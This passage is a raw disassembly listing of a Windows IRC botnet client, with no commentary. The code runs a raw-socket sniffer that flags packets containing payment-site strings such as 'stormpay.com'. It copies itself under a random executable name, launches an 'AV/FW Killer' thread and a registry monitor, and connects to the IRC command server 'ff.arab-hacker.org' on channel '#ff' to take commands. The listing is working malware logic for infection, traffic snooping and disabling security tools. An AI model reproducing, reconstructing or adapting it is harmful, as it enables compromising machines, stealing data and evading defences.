dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call sub_418D40 mov edx, [ebp+arg_0] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp+var_B4] pop ecx mov [ebp+var_8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h lea eax, [ebp+var_1C] push esi push eax call sub_4189A0 add esp, 0Ch mov [ebp+var_1C], 2 push esi call dword_44B6C0 ; htons push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40AFEC pop ecx push eax call dword_44B700 ; inet_addr push esi push 3 push 2 mov [ebp+var_18], eax call dword_44B740 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_40B93F call dword_44B654 ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset aPsniffErrorSoc ; "[PSNIFF]: Error: socket() failed, retur"... push eax call sub_418D70 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_40B922 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40842D add esp, 14h loc_40B922: ; CODE XREF: sub_40B86A+96j lea eax, [ebp+var_2B4] push eax call sub_4035E1 push [ebp+var_30] call sub_416507 pop ecx pop ecx push esi call ds:dword_4942FC loc_40B93F: ; CODE XREF: sub_40B86A+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_44D064[eax], edi lea eax, [ebp+var_1C] push eax push edi call dword_44B6EC ; bind cmp eax, 0FFFFFFFFh jnz short loc_40B9C4 call dword_44B654 ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset aPsniffErrorBin ; "[PSNIFF]: Error: bind() failed, returne"... push eax call sub_418D70 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_40B9A0 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40842D add esp, 14h loc_40B9A0: ; CODE XREF: sub_40B86A+114j lea eax, [ebp+var_2B4] push eax call sub_4035E1 pop ecx push edi call dword_44B758 ; closesocket push [ebp+var_30] call sub_416507 pop ecx push esi call ds:dword_4942FC loc_40B9C4: ; CODE XREF: sub_40B86A+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_44B66C ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_40BA47 call dword_44B654 ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset aPsniffErrorWsa ; "[PSNIFF]: Error: WSAIoctl() failed, ret"... push eax call sub_418D70 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_40BA23 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40842D add esp, 14h loc_40BA23: ; CODE XREF: sub_40B86A+197j lea eax, [ebp+var_2B4] push eax call sub_4035E1 pop ecx push edi call dword_44B758 ; closesocket push [ebp+var_30] call sub_416507 pop ecx push esi call ds:dword_4942FC loc_40BA47: ; CODE XREF: sub_40B86A+177j push ebx mov ebx, offset aStormpay_com ; "stormpay.com" loc_40BA4D: ; CODE XREF: sub_40B86A+21Bj ; sub_40B86A+22Dj ... mov edi, 0FFFFh lea eax, [ebp+var_102B4] push edi push esi push eax call sub_4189A0 add esp, 0Ch lea eax, [ebp+var_102B4] push esi push edi push eax push [ebp+var_4] call dword_44B6D8 ; recv cmp eax, 0FFFFFFFFh jz loc_40BB5F cmp [ebp+var_102AB], 6 jnz short loc_40BA4D mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_40BA4D lea eax, [ebp+var_1028C] push offset aPsniff ; "[PSNIFF]" push eax call sub_419AB0 pop ecx test eax, eax pop ecx jnz short loc_40BA4D mov eax, ebx xor edi, edi test eax, eax jz short loc_40BA4D mov [ebp+arg_0], ebx loc_40BABB: ; CODE XREF: sub_40B86A+26Cj push eax lea eax, [ebp+var_1028C] push eax call sub_419AB0 pop ecx test eax, eax pop ecx jnz short loc_40BADD inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_40BABB jmp loc_40BA4D ; --------------------------------------------------------------------------- loc_40BADD: ; CODE XREF: sub_40B86A+262j lea eax, [ebp+var_1028C] push eax push [ebp+var_102A0] call dword_44B5FC ; htons movzx eax, ax push eax push [ebp+var_C] call dword_44B74C ; inet_ntoa push eax lea eax, [edi+edi*2] mov eax, dword_43DFA4[eax*8] push off_43DF88[eax*4] lea eax, [ebp+var_2B4] push offset aPsniffSuspicio ; "[PSNIFF]: Suspicious %s packet from: %s"... push 200h push eax call sub_418EF0 add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_40BB4D push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40842D add esp, 14h loc_40BB4D: ; CODE XREF: sub_40B86A+2C1j lea eax, [ebp+var_2B4] push eax call sub_4035E1 pop ecx jmp loc_40BA4D ; --------------------------------------------------------------------------- loc_40BB5F: ; CODE XREF: sub_40B86A+20Ej call dword_44B654 ; WSAGetLastError push eax push offset aPsniffErrorRec ; "[PSNIFF]: Error: recv() failed, returne"... lea eax, [ebp+var_2B4] push 200h push eax call sub_418EF0 add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_40BBA5 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40842D add esp, 14h loc_40BBA5: ; CODE XREF: sub_40B86A+319j lea eax, [ebp+var_2B4] push eax call sub_4035E1 pop ecx push [ebp+var_4] call dword_44B758 ; closesocket push [ebp+var_30] call sub_416507 pop ecx push esi call ds:dword_4942FC sub_40B86A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BBCB proc near ; CODE XREF: sub_41B970+121p var_99C = dword ptr -99Ch var_98C = byte ptr -98Ch var_888 = byte ptr -888h var_887 = byte ptr -887h var_6F8 = byte ptr -6F8h var_5F8 = byte ptr -5F8h var_4F8 = byte ptr -4F8h var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_1EC = byte ptr -1ECh var_E8 = dword ptr -0E8h var_DC = dword ptr -0DCh var_BC = dword ptr -0BCh var_B8 = word ptr -0B8h var_A4 = byte ptr -0A4h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 98Ch push ebx xor ebx, ebx push esi push edi mov [ebp+var_8], ebx mov [ebp+var_10], ebx mov [ebp+var_C], offset sub_405938 push [ebp+var_C] push large dword ptr fs:0 mov large fs:0, esp mov esi, ds:dword_494308 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_491BE8, eax call esi push eax call sub_418FF0 pop ecx call sub_40888A push 2 call dword_44B76C ; SetErrorMode push 7530h push offset aFenr ; "FEnR" push ebx push ebx call ds:dword_4943D0 push eax call ds:dword_4943CC cmp eax, 102h jnz short loc_40BC4B push 1 call ds:dword_49432C loc_40BC4B: ; CODE XREF: sub_40BBCB+76j lea eax, [ebp+var_888] push eax push 202h call dword_44B638 ; WSAStartup cmp eax, ebx mov [ebp+var_C], eax jnz loc_40C221 cmp [ebp+var_888], 2 jnz loc_40C21B xor eax, eax mov al, [ebp+var_887] cmp al, 2 jnz loc_40C21B mov esi, 104h lea eax, [ebp+var_3F4] push esi push eax call ds:dword_494320 lea eax, [ebp+var_2F0] push esi push eax push ebx call ds:dword_494380 push eax call ds:dword_4942F8 lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_5F8] push eax push ebx lea eax, [ebp+var_2F0] push ebx push eax call sub_41B4D0 lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_5F8] push eax push offset aSS_8 ; "%s%s" lea eax, [ebp+var_4F8] push esi push eax call sub_418EF0 lea eax, [ebp+var_3F4] push eax lea eax, [ebp+var_2F0] push eax call sub_419AB0 add esp, 30h test eax, eax jnz loc_40BEC0 cmp dword_43E1B0, ebx mov esi, offset aAmngesiyko_exe ; "amngesiyko.exe" jz short loc_40BD46 push esi xor edi, edi call sub_418E70 sub eax, 4 pop ecx jz short loc_40BD46 loc_40BD23: ; CODE XREF: sub_40BBCB+179j call sub_419000 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte ptr aAmngesiyko_exe[edi], dl ; "amngesiyko.exe" inc edi call sub_418E70 sub eax, 4 pop ecx cmp edi, eax jb short loc_40BD23 loc_40BD46: ; CODE XREF: sub_40BBCB+148j ; sub_40BBCB+156j lea eax, [ebp+var_3F4] push esi push eax lea eax, [ebp+var_1EC] push offset aSS_9 ; "%s\\%s" push eax call sub_418D70 add esp, 10h lea eax, [ebp+var_1EC] push eax call ds:dword_49437C cmp eax, 0FFFFFFFFh jz short loc_40BD86 lea eax, [ebp+var_1EC] push 80h push eax call ds:dword_4943A8 loc_40BD86: ; CODE XREF: sub_40BBCB+1A7j mov esi, ds:dword_4943C8 lea eax, [ebp+var_1EC] push ebx push eax lea eax, [ebp+var_2F0] xor edi, edi push eax loc_40BD9D: ; CODE XREF: sub_40BBCB+209j call esi test eax, eax jnz short loc_40BDD6 call ds:dword_4942F0 cmp edi, ebx jnz short loc_40BDD6 cmp eax, 20h jz short loc_40BDB7 cmp eax, 5 jnz short loc_40BDD6 loc_40BDB7: ; CODE XREF: sub_40BBCB+1E5j push 1 pop edi push 3A98h call ds:dword_4942D8 lea eax, [ebp+var_1EC] push ebx push eax lea eax, [ebp+var_2F0] push eax jmp short loc_40BD9D ; --------------------------------------------------------------------------- loc_40BDD6: ; CODE XREF: sub_40BBCB+1D6j ; sub_40BBCB+1E0j ... lea eax, [ebp+var_1EC] push eax call sub_409BEA pop ecx lea eax, [ebp+var_1EC] push 7 push eax call ds:dword_4943A8 push 10h lea eax, [ebp+var_24] push ebx push eax call sub_4189A0 push 44h lea eax, [ebp+var_E8] pop esi push esi push ebx push eax call sub_4189A0 add esp, 18h mov [ebp+var_E8], esi mov [ebp+var_DC], offset dword_491D74 mov [ebp+var_B8], bx push 1 pop esi mov [ebp+var_BC], esi call ds:dword_4943C4 push eax push esi push 100000h call ds:dword_494370 lea ecx, [ebp+var_2F0] push ecx push eax lea eax, [ebp+var_1EC] push eax lea eax, [ebp+var_98C] push offset aSDS ; "%s %d \"%s\"" push eax call sub_418D70 add esp, 14h lea eax, [ebp+var_24] push eax lea eax, [ebp+var_E8] push eax lea eax, [ebp+var_3F4] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_98C] push ebx push eax lea eax, [ebp+var_1EC] push eax call ds:dword_494330 test eax, eax jz short loc_40BEC0 push 0C8h call ds:dword_4942D8 push [ebp+var_24] mov esi, ds:dword_4942E0 call esi push [ebp+var_20] call esi call dword_44B620 ; WSACleanup push ebx call ds:dword_49432C loc_40BEC0: ; CODE XREF: sub_40BBCB+137j ; sub_40BBCB+2CBj cmp dword_4920A4, 2 jle short loc_40BF0C mov eax, dword_4920A8 push dword ptr [eax+4] call sub_4195F0 pop ecx mov esi, eax push 0FFFFFFFFh push esi call ds:dword_4943CC push esi call ds:dword_4942E0 mov eax, dword_4920A8 cmp [eax+8], ebx jz short loc_40BF0C push 7D0h call ds:dword_4942D8 mov eax, dword_4920A8 push dword ptr [eax+8] call ds:dword_4943C0 loc_40BF0C: ; CODE XREF: sub_40BBCB+2FCj ; sub_40BBCB+326j cmp dword_43E1B4, ebx jz short loc_40BF29 cmp dword_44B790, ebx jnz short loc_40BF29 lea eax, [ebp+var_4F8] push eax call sub_4038C0 pop ecx loc_40BF29: ; CODE XREF: sub_40BBCB+347j ; sub_40BBCB+34Fj lea eax, [ebp+var_A4] push offset aMainBotStarted ; "[MAIN]: Bot started." push eax call sub_418D70 push ebx lea eax, [ebp+var_A4] push ebx push eax call sub_4161EB lea eax, [ebp+var_A4] push eax call sub_4035E1 push 0B80h push ebx push offset dword_44C2D8 call sub_4189A0 lea eax, [ebp+var_A4] push offset aProcsAvFwKille ; "[PROCS]: AV/FW Killer active." push eax call sub_418D70 push ebx lea eax, [ebp+var_A4] push 1 push eax call sub_4161EB add esp, 38h mov edi, eax mov esi, ds:dword_4942F4 lea eax, [ebp+var_8] push eax push ebx push ebx push offset sub_40B84A push ebx push ebx call esi imul edi, 234h cmp eax, ebx mov dword_44D06C[edi], eax jnz short loc_40BFC9 call ds:dword_4942F0 push eax lea eax, [ebp+var_A4] push offset aProcsFailedToS ; "[PROCS]: Failed to start AV/FW killer t"... push eax call sub_418D70 add esp, 0Ch loc_40BFC9: ; CODE XREF: sub_40BBCB+3E1j lea eax, [ebp+var_A4] push eax call sub_4035E1 lea eax, [ebp+var_A4] mov [esp+99Ch+var_99C], offset aSecureRegistry ; "[SECURE]: Registry monitor active." push eax call sub_418D70 push ebx lea eax, [ebp+var_A4] push 1 push eax call sub_4161EB add esp, 14h mov edi, eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4F8] push ebx push eax push offset sub_403930 push ebx push ebx call esi imul edi, 234h cmp eax, ebx mov dword_44D06C[edi], eax jnz short loc_40C03C call ds:dword_4942F0 push eax lea eax, [ebp+var_A4] push offset aSecureFailedTo ; "[SECURE]: Failed to start registry thre"... push eax call sub_418D70 add esp, 0Ch loc_40C03C: ; CODE XREF: sub_40BBCB+454j lea eax, [ebp+var_A4] push eax call sub_4035E1 push 2 call sub_416433 pop ecx test eax, eax pop ecx jnz short loc_40C0C1 lea eax, [ebp+var_A4] push offset aIdentdServerRu ; "[IDENTD]: Server running on Port: 113." push eax call sub_418D70 push ebx lea eax, [ebp+var_A4] push 2 push eax call sub_4161EB add esp, 14h mov edi, eax lea eax, [ebp+var_8] push eax push ebx push edi push offset sub_40823C push ebx push ebx call esi imul edi, 234h cmp eax, ebx mov dword_44D06C[edi], eax jnz short loc_40C0B4 call ds:dword_4942F0 push eax lea eax, [ebp+var_A4] push offset aIdentdFailedTo ; "[IDENTD]: Failed to start server, error"... push eax call sub_418D70 add esp, 0Ch loc_40C0B4: ; CODE XREF: sub_40BBCB+4CCj lea eax, [ebp+var_A4] push eax call sub_4035E1 pop ecx loc_40C0C1: ; CODE XREF: sub_40BBCB+488j call sub_419000 push 0Ah xor edx, edx pop ecx div ecx push 7Fh push offset aFf_arabHacker_ ; "ff.arab-hacker.org" push offset dword_491BF4 mov dword_491D6C, edx call sub_4191A0 mov eax, dword_43E194 push 3Fh mov edi, offset dword_491C74 push offset aFf ; "#ff" push edi mov dword_491D44, eax call sub_4191A0 push 3Fh mov esi, offset dword_491CB4 push offset aFuckoff ; "fuckoff" push esi call sub_4191A0 add esp, 24h mov dword_491D48, ebx loc_40C11B: ; CODE XREF: sub_40BBCB+5F6j ; sub_40BBCB+601j ... mov [ebp+var_4], ebx loc_40C11E: ; CODE XREF: sub_40BBCB+5AAj cmp dword_44B7A8, ebx jnz short loc_40C13C lea eax, [ebp+var_14] push ebx push eax call dword_44B604 ; InternetGetConnectedState test eax, eax jnz short loc_40C13C push 7530h jmp short loc_40C168 ; --------------------------------------------------------------------------- loc_40C13C: ; CODE XREF: sub_40BBCB+559j ; sub_40BBCB+568j push offset dword_491BF0 mov dword_491D68, ebx call sub_40C22A cmp eax, 2 mov [ebp+var_C], eax jz loc_40C216 cmp dword_491D68, ebx jz short loc_40C163 dec [ebp+var_4] loc_40C163: ; CODE XREF: sub_40BBCB+593j push 0BB8h loc_40C168: ; CODE XREF: sub_40BBCB+56Fj call ds:dword_4942D8 inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_40C11E cmp [ebp+var_C], 2 jz loc_40C216 cmp [ebp+var_10], ebx jz short loc_40C1C6 push 7Fh push offset aFf_arabHacker_ ; "ff.arab-hacker.org" push offset dword_491BF4 call sub_4191A0 mov eax, dword_43E194 push 3Fh push offset aFf ; "#ff" push edi mov dword_491D44, eax call sub_4191A0 push 3Fh push offset aFuckoff ; "fuckoff" push esi call sub_4191A0 add esp, 24h mov [ebp+var_10], ebx jmp loc_40C11B ; --------------------------------------------------------------------------- loc_40C1C6: ; CODE XREF: sub_40BBCB+5B9j cmp byte_491D5C, bl jz loc_40C11B push 7Fh push offset byte_491D5C push offset dword_491BF4 call sub_4191A0 mov eax, dword_43E198 push 3Fh push offset dword_491D60 push edi mov dword_491D44, eax call sub_4191A0 push 3Fh push offset dword_491D64 push esi call sub_4191A0 add esp, 24h mov [ebp+var_10], 1 jmp loc_40C11B ; --------------------------------------------------------------------------- loc_40C216: ; CODE XREF: sub_40BBCB+587j ; sub_40BBCB+5B0j call sub_4163B4 loc_40C21B: ; CODE XREF: sub_40BBCB+A4j ; sub_40BBCB+B4j call dword_44B620 ; WSACleanup loc_40C221: ; CODE XREF: sub_40BBCB+97j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_40BBCB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C22A proc near ; CODE XREF: sub_40BBCB+57Cp ; DATA XREF: sub_40C50A+3B13o var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40C24F: ; CODE XREF: sub_40C22A+E6j ; sub_40C22A+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_4189A0 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_44B6C0 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40AED0 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40C37C push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_4189A0 push 0 lea eax, [ebp+var_2C] push dword_43E1C4 push dword_43E1C0 push eax call sub_4138AA mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_44D070 push edi push eax call sub_4191A0 add esp, 28h push 6 push 1 push 2 call dword_44B740 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_44D064[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_44B668 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40C315 push esi call dword_44B758 ; closesocket call sub_40AEF9 push 7D0h loc_40C30A: ; CODE XREF: sub_40C22A+146j call ds:dword_4942D8 jmp loc_40C24F ; --------------------------------------------------------------------------- loc_40C315: ; CODE XREF: sub_40C22A+CDj lea eax, [ebp+var_18C] push eax push offset aMainConnectedT ; "[MAIN]: Connected to %s." call sub_403655 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40C392 add esp, 28h mov edi, eax push esi call dword_44B758 ; closesocket test edi, edi jz loc_40C24F cmp edi, 1 jnz short loc_40C372 push 0DBBA0h jmp short loc_40C30A ; --------------------------------------------------------------------------- loc_40C372: ; CODE XREF: sub_40C22A+13Fj cmp edi, 2 jz short loc_40C380 jmp loc_40C24F ; --------------------------------------------------------------------------- loc_40C37C: ; CODE XREF: sub_40C22A+5Aj xor eax, eax jmp short loc_40C38C ; --------------------------------------------------------------------------- loc_40C380: ; CODE XREF: sub_40C22A+14Bj push [ebp+var_34] call sub_416507 pop ecx push 2 pop eax loc_40C38C: ; CODE XREF: sub_40C22A+154j pop edi pop esi leave retn 4 sub_40C22A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C392 proc near ; CODE XREF: sub_40C22A+123p var_1A10 = byte ptr -1A10h var_A10 = byte ptr -0A10h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A10h call sub_418D40 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_40C3B0: ; CODE XREF: sub_40C392+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40C3B0 cmp byte_491D58, bl jz short loc_40C3D7 push offset byte_491D58 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_4083E7 add esp, 0Ch loc_40C3D7: ; CODE XREF: sub_40C392+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_4138AA add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_418D70 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_44B710 ; send cmp eax, 0FFFFFFFFh jnz short loc_40C441 push [ebp+arg_0] call dword_44B758 ; closesocket push 1388h call ds:dword_4942D8 loc_40C43A: ; CODE XREF: sub_40C392+D9j ; sub_40C392+153j xor eax, eax loc_40C43C: ; CODE XREF: sub_40C392+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40C441: ; CODE XREF: sub_40C392+92j ; sub_40C392+F8j ... mov esi, 1000h lea eax, [ebp+var_1A10] push esi push ebx push eax call sub_4189A0 add esp, 0Ch lea eax, [ebp+var_1A10] push ebx push esi push eax push [ebp+arg_0] call dword_44B6D8 ; recv test eax, eax jle short loc_40C43A lea eax, [ebp+var_A10] push eax lea eax, [ebp+var_1A10] push eax call sub_4098D3 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_40C441 lea edi, [ebp+var_A10] loc_40C492: ; CODE XREF: sub_40C392+165j push 1 pop esi loc_40C495: ; CODE XREF: sub_40C392+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_40C50A add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_40C4D8 push 7D0h call ds:dword_4942D8 jmp short loc_40C495 ; --------------------------------------------------------------------------- loc_40C4D8: ; CODE XREF: sub_40C392+137j cmp esi, 0FFFFFFFDh jz short loc_40C502 cmp esi, 0FFFFFFFEh jz short loc_40C4FE cmp esi, 0FFFFFFFFh jz loc_40C43A inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_40C492 jmp loc_40C441 ; --------------------------------------------------------------------------- loc_40C4FE: ; CODE XREF: sub_40C392+14Ej push 1 jmp short loc_40C504 ; --------------------------------------------------------------------------- loc_40C502: ; CODE XREF: sub_40C392+149j push 2 loc_40C504: ; CODE XREF: sub_40C392+16Ej pop eax jmp loc_40C43C sub_40C392 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C50A proc near ; CODE XREF: sub_40C392+12Ap var_15B0 = byte ptr -15B0h var_11B0 = byte ptr -11B0h var_FB0 = byte ptr -0FB0h var_DB0 = byte ptr -0DB0h var_CB0 = byte ptr -0CB0h var_CAC = byte ptr -0CACh var_BAC = byte ptr -0BACh var_BA8 = byte ptr -0BA8h var_AA8 = byte ptr -0AA8h var_A28 = byte ptr -0A28h var_9C7 = byte ptr -9C7h var_9C6 = byte ptr -9C6h var_9C4 = byte ptr -9C4h var_9C3 = byte ptr -9C3h var_9BA = byte ptr -9BAh var_9B8 = byte ptr -9B8h var_9B6 = byte ptr -9B6h var_9B5 = byte ptr -9B5h var_928 = byte ptr -928h var_90C = dword ptr -90Ch var_908 = byte ptr -908h var_804 = dword ptr -804h var_800 = dword ptr -800h var_7FC = byte ptr -7FCh var_7F8 = dword ptr -7F8h var_7F4 = byte ptr -7F4h var_7F0 = dword ptr -7F0h var_7EC = dword ptr -7ECh var_7E8 = byte ptr -7E8h var_780 = byte ptr -780h var_774 = byte ptr -774h var_770 = dword ptr -770h var_76C = byte ptr -76Ch var_768 = byte ptr -768h var_75C = byte ptr -75Ch var_73C = dword ptr -73Ch var_738 = byte ptr -738h var_710 = dword ptr -710h var_708 = byte ptr -708h var_6FC = dword ptr -6FCh var_6F8 = byte ptr -6F8h var_6F4 = byte ptr -6F4h var_6F0 = dword ptr -6F0h var_6EC = byte ptr -6ECh var_6E8 = byte ptr -6E8h var_6B8 = byte ptr -6B8h var_681 = byte ptr -681h var_680 = byte ptr -680h var_678 = byte ptr -678h var_670 = byte ptr -670h var_66C = byte ptr -66Ch var_668 = byte ptr -668h var_5F8 = byte ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_578 = dword ptr -578h var_574 = dword ptr -574h var_570 = dword ptr -570h var_56C = dword ptr -56Ch var_568 = dword ptr -568h var_564 = dword ptr -564h var_560 = dword ptr -560h var_55C = byte ptr -55Ch var_50C = dword ptr -50Ch var_508 = byte ptr -508h var_504 = dword ptr -504h var_500 = byte ptr -500h var_4F4 = dword ptr -4F4h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = byte ptr -4E8h var_4C0 = byte ptr -4C0h var_4A0 = dword ptr -4A0h var_488 = byte ptr -488h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = byte ptr -45Ch var_458 = byte ptr -458h var_444 = byte ptr -444h var_434 = byte ptr -434h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_40C = dword ptr -40Ch var_408 = byte ptr -408h var_3FC = byte ptr -3FCh var_3F8 = byte ptr -3F8h var_3D8 = byte ptr -3D8h var_3B4 = byte ptr -3B4h var_398 = byte ptr -398h var_388 = byte ptr -388h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = byte ptr -2F8h var_2EC = word ptr -2ECh var_2EA = word ptr -2EAh var_2E8 = dword ptr -2E8h var_2DC = byte ptr -2DCh var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D4 = byte ptr -0D4h var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_54 = byte ptr -54h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 15B0h call sub_418D40 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2DC] push ebx push eax mov [ebp+var_BC], 3 mov [ebp+var_10], ebx mov [ebp+var_B8], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_D8], ebx call sub_4189A0 push 1Bh lea eax, [ebp+var_928] push [ebp+arg_10] push eax call sub_4191A0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_40C97C push esi lea eax, [ebp+var_FB0] push ebx push eax call sub_4189A0 dec esi lea eax, [ebp+var_FB0] push esi push [ebp+arg_0] push eax call sub_4191A0 lea eax, [ebp+var_FB0] push offset asc_43ED84 ; " :" push eax call sub_419AB0 mov [ebp+var_C], eax lea eax, [ebp+var_FB0] push esi push eax lea eax, [ebp+var_11B0] push eax call sub_4191A0 lea eax, [ebp+var_11B0] push offset asc_43ED88 ; " " push eax call sub_419890 add esp, 34h mov [ebp+var_94], eax lea esi, [ebp+var_90] push 1Fh pop edi loc_40C5D5: ; CODE XREF: sub_40C50A+DEj push offset asc_43ED8C ; " " push ebx call sub_419890 mov [esi], eax pop ecx add esi, 4 dec edi pop ecx jnz short 